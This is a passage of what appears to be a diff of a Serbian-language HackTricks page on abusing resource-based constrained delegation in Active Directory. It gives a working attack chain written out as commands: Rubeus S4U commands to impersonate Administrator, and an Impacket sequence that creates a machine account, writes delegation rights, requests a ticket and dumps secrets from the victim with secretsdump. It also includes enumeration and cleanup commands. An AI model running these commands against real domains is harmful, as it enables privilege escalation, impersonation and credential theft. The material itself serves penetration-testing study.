**kompromituje** nalog koji ima **SPN** ili **kreira jedan** (“Usluga A”). Imajte na umu da **bilo koji** _Admin User_ bez bilo kojih drugih posebnih privilegija može **kreirati** do 10 objekata računara (**_MachineAccountQuota_**) i postaviti im **SPN**. Tako da napadač može jednostavno kreirati objekat računara i postaviti SPN. -2. Napadač **zloupotrebljava svoje DOZVOLE ZA PISANJE** nad žrtvinim računarom (Usluga B) da konfiguriše **resource-based constrained delegation da omogući Uslugi A da imituje bilo kog korisnika** protiv tog žrtvinog računara (Usluga B). -3. Napadač koristi Rubeus da izvede **potpun S4U napad** (S4U2Self i S4U2Proxy) od Usluge A do Usluge B za korisnika **sa privilegovanim pristupom Usluzi B**. -1. S4U2Self (iz SPN kompromitovanog/kreativnog naloga): Traži **TGS Administratora za mene** (Nije Forwardable). -2. S4U2Proxy: Koristi **ne Forwardable TGS** iz prethodnog koraka da traži **TGS** od **Administratora** do **žrtvinske mašine**. +1. Napadač **kompromituje** nalog koji ima **SPN** ili **kreira jedan** (“Service A”). Imajte na umu da **bilo koji** _Admin User_ bez bilo kojih drugih posebnih privilegija može **kreirati** do 10 objekata računara (**_MachineAccountQuota_**) i postaviti im **SPN**. Tako da napadač može jednostavno kreirati objekat računara i postaviti SPN. +2. Napadač **zloupotrebljava svoje DOZVOLE ZA PISANJE** nad žrtvinim računarom (ServiceB) da konfiguriše **resource-based constrained delegation da omogući ServiceA da imituje bilo kog korisnika** protiv tog žrtvinog računara (ServiceB). +3. Napadač koristi Rubeus da izvede **potpun S4U napad** (S4U2Self i S4U2Proxy) od Service A do Service B za korisnika **sa privilegovanim pristupom Service B**. +1. S4U2Self (iz SPN kompromitovanog/kreativnog naloga): Traži **TGS od Administratora za mene** (Ne Forwardable). +2. S4U2Proxy: Koristi **ne Forwardable TGS** iz prethodnog koraka da zatraži **TGS** od **Administratora** za **žrtvinsku mašinu**. 3. Čak i ako koristite ne Forwardable TGS, pošto zloupotrebljavate Resource-based constrained delegation, to će raditi. -4. Napadač može **proći kroz tiket** i **imitirati** korisnika da dobije **pristup žrtvinskoj Usluzi B**. +4. Napadač može **proći kroz tiket** i **imitirati** korisnika da dobije **pristup žrtvinskoj ServiceB**. Da biste proverili _**MachineAccountQuota**_ domena možete koristiti: ```bash @@ -70,44 +70,123 @@ msds-allowedtoactonbehalfofotheridentity ---------------------------------------- {1, 0, 4, 128...} ``` -### Izvođenje potpunog S4U napada +### Izvođenje potpunog S4U napada (Windows/Rubeus) Prvo, kreirali smo novi objekat Računar sa lozinkom `123456`, tako da nam je potreban hash te lozinke: ```bash .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local ``` -Ovo će ispisati RC4 i AES heš vrednosti za taj nalog.\ +Ovo će ispisati RC4 i AES hešove za taj nalog.\ Sada se napad može izvršiti: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -Možete generisati više tiketa za više usluga jednostavno postavljajući pitanje jednom koristeći `/altservice` parametar Rubeus: +Možete generisati više tiketa za više usluga jednostavno postavljanjem jednog zahteva koristeći `/altservice` parametar Rubeus: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> Imajte na umu da korisnici imaju atribut pod nazivom "**Ne može biti delegiran**". Ako korisnik ima ovaj atribut postavljen na True, nećete moći da se pretvarate da je on. Ova svojstvo se može videti unutar bloodhound. +> Imajte na umu da korisnici imaju atribut pod nazivom "**Cannot be delegated**". Ako korisnik ima ovaj atribut postavljen na True, nećete moći da ga imitirate. Ova svojstvo se može videti unutar bloodhound-a. -### Pristupanje +### Linux alati: end-to-end RBCD sa Impacket-om (2024+) -Poslednja komanda će izvršiti **potpunu S4U napad i injektovaće TGS** sa Administratora na žrtvovanu mašinu u **memoriji**.\ +Ako radite sa Linux-om, možete izvršiti celu RBCD liniju koristeći zvanične Impacket alate: +```bash +# 1) Create attacker-controlled machine account (respects MachineAccountQuota) +impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!' + +# 2) Grant RBCD on the target computer to FAKE01$ +# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity +impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!' + +# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service +impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123' + +# 4) Use the ticket (ccache) against the target service +export KRB5CCNAME=$(pwd)/Administrator.ccache +# Example: dump local secrets via Kerberos (no NTLM) +impacket-secretsdump -k -no-pass Administrator@victim.domain.local +``` +Notes +- Ako je LDAP potpisivanje/LDAPS primenjeno, koristite `impacket-rbcd -use-ldaps ...`. +- Preferirajte AES ključeve; mnogi moderni domeni ograničavaju RC4. Impacket i Rubeus podržavaju samo AES tokove. +- Impacket može prepraviti `sname` ("AnySPN") za neke alate, ali dobijte tačan SPN kad god je to moguće (npr., CIFS/LDAP/HTTP/HOST/MSSQLSvc). + +### Accessing + +Poslednja komandna linija će izvršiti **potpun S4U napad i injektovaće TGS** sa Administratora na žrtvovanu mašinu u **memoriji**.\ U ovom primeru je zatražen TGS za **CIFS** servis od Administratora, tako da ćete moći da pristupite **C$**: ```bash ls \\victim.domain.local\C$ ``` ### Zloupotreba različitih servisnih karata -Saznajte o [**dostupnim servisnim kartama ovde**](silver-ticket.md#available-services). +Saznajte više o [**dostupnim servisnim kartama ovde**](silver-ticket.md#available-services). -## Kerberos greške +## Enumeracija, revizija i čišćenje -- **`KDC_ERR_ETYPE_NOTSUPP`**: Ovo znači da je kerberos konfigurisan da ne koristi DES ili RC4 i da pružate samo RC4 hash. Pružite Rubeusu barem AES256 hash (ili jednostavno pružite rc4, aes128 i aes256 hasheve). Primer: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` -- **`KRB_AP_ERR_SKEW`**: Ovo znači da je vreme trenutnog računara različito od vremena DC-a i kerberos ne funkcioniše ispravno. -- **`preauth_failed`**: Ovo znači da dati korisničko ime + hashevi ne rade za prijavu. Možda ste zaboravili da stavite "$" unutar korisničkog imena prilikom generisanja hash-eva (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) +### Enumerisanje računara sa RBCD konfigurisanom + +PowerShell (dekodiranje SD-a za rešavanje SID-ova): +```powershell +# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals +Import-Module ActiveDirectory +Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | +Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } | +ForEach-Object { +$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity" +$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0 +$sd.DiscretionaryAcl | ForEach-Object { +$sid = $_.SecurityIdentifier +try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value } +[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask } +} +} +``` +Impacket (čitati ili isprazniti jednim komandama): +```bash +# Read who can delegate to VICTIM +impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!' +``` +### Cleanup / reset RBCD + +- PowerShell (očistite atribut): +```powershell +Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' +# Or using the friendly property +Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null +``` +- Impacket: +```bash +# Remove a specific principal from the SD +impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!' +# Or flush the whole list +impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!' +``` +## Kerberos Greške + +- **`KDC_ERR_ETYPE_NOTSUPP`**: Ovo znači da je kerberos konfigurisan da ne koristi DES ili RC4 i da pružate samo RC4 hash. Pružite Rubeusu barem AES256 hash (ili jednostavno pružite rc4, aes128 i aes256 hash). Primer: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` +- **`KRB_AP_ERR_SKEW`**: Ovo znači da je vreme trenutnog računara različito od vremena DC-a i kerberos ne radi ispravno. +- **`preauth_failed`**: Ovo znači da dati korisničko ime + hash ne rade za prijavu. Možda ste zaboravili da stavite "$" unutar korisničkog imena prilikom generisanja hash-eva (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: Ovo može značiti: - - Korisnik kojeg pokušavate da zloupotrebite ne može da pristupi željenoj usluzi (jer ne možete da ga zloupotrebite ili zato što nema dovoljno privilegija) - - Tražena usluga ne postoji (ako tražite kartu za winrm, ali winrm ne radi) - - Lažni računar koji je kreiran je izgubio svoje privilegije nad ranjivim serverom i morate ih ponovo dodeliti. +- Korisnik kojeg pokušavate da imitirate ne može da pristupi željenoj usluzi (jer ne možete da ga imitirate ili zato što nema dovoljno privilegija) +- Tražena usluga ne postoji (ako tražite tiket za winrm, ali winrm ne radi) +- Lažni računar koji je kreiran je izgubio svoje privilegije nad ranjivim serverom i morate ih ponovo dodeliti. +- Zloupotrebljavate klasični KCD; zapamtite da RBCD funkcioniše sa neprebacivim S4U2Self tiketima, dok KCD zahteva prebacive. + +## Beleške, relays i alternative + +- Takođe možete napisati RBCD SD preko AD Web Services (ADWS) ako je LDAP filtriran. Vidi: + +{{#ref}} +adws-enumeration.md +{{#endref}} + +- Kerberos relays lanci često se završavaju u RBCD kako bi se postigao lokalni SYSTEM u jednom koraku. Vidi praktične primere od kraja do kraja: + +{{#ref}} +../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +{{#endref}} ## Reference @@ -116,6 +195,7 @@ Saznajte o [**dostupnim servisnim kartama ovde**](silver-ticket.md#available-ser - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) - [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) - +- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py +- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/ {{#include ../../banners/hacktricks-training.md}}